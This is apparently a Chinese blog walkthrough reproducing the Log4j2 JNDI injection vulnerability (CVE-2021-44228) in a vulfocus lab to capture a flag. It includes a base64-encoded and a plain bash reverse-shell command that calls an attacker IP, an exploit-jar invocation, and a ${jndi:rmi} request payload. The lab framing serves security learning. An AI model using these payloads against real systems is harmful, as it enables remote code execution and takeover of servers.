log4j2漏洞复现(CVE-2021-44228)

2年前 (2022) 程序员胖胖胖虎阿
263 0 0

一、原理介绍

由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

二、vulfocus靶场安装

  1. docker pull vulfocus/vulfocus:latest

  log4j2漏洞复现(CVE-2021-44228)

  1. docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=192.168.137.11  vulfocus/vulfocus

启动docker-compose up -d

启动vulfocus

192.168.137.11  用户名admin  密码admin

三、vulfocus靶场启动log4j2场景

1、下载log4j2镜像

注:需要在镜像管理进行添加CVE-2021-44228 log4j2

log4j2漏洞复现(CVE-2021-44228)

 2、然后启动该log4j2容器

log4j2漏洞复现(CVE-2021-44228)

 3、启动之后访问该地址

log4j2漏洞复现(CVE-2021-44228)

 访问地址:192.168.137.11:44157

log4j2漏洞复现(CVE-2021-44228)

 四、利用攻击机kali(ip为192.168.137.137) 开始nc监听7777端口

log4j2漏洞复现(CVE-2021-44228)

 在进行漏洞注入之前,需要准备下载一些组件JNDI、maven。

在github上下载jar包,压缩包解压放到攻击机kail上。

log4j2漏洞复现(CVE-2021-44228)

接着下载maven组件,apt-get install maven 安装maven,相当于编译器,编码JDNI里的jar包

log4j2漏洞复现(CVE-2021-44228)

下载好的JNDI组件,并进入dndi子目录,使用mven将JDNI编译jar包

五、切换到jndi目录下的target子目录下。利用jndi注入工具在攻击机上开启jndi服务器。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar  -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"  -A  192.168.137.137

这个安装在kali上面的jndi服务器是利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来启动起来的,启动参数包括-C是执行的bash命令,-c参数后面是执行的具体命令,用双引号引起来 -A 指服务器的IP。

注:已经把反弹shell命令用base64编码啦

bash -i >& /dev/tcp/192.168.137.137/7777 0>&1

执行命令之后 生成可用payload

log4j2漏洞复现(CVE-2021-44228)

 log4j2漏洞复现(CVE-2021-44228)

 六、利用payload开始攻击,获得反弹shell

利用生成的第一个payload

log4j2漏洞复现(CVE-2021-44228)

访问网址  出现ok

192.168.137.11:44157/hello?payload=$%7bjndi:rmi://192.168.137.137:1099/gquwrn%7d

log4j2漏洞复现(CVE-2021-44228)

监听界面出现如下提示表明获得反弹shell

log4j2漏洞复现(CVE-2021-44228)

 七、成功获取flag值,提交flag值。

log4j2漏洞复现(CVE-2021-44228)

 八、来到vulfoucs平台首页,在log4j2-CVE-2021-44228提交所得的flag。

log4j2漏洞复现(CVE-2021-44228)

log4j2漏洞复现(CVE-2021-44228)

版权声明:程序员胖胖胖虎阿 发表于 2022年11月25日 上午6:48。
转载请注明:log4j2漏洞复现(CVE-2021-44228) | 胖虎的工具箱-编程导航

相关文章

暂无评论

暂无评论...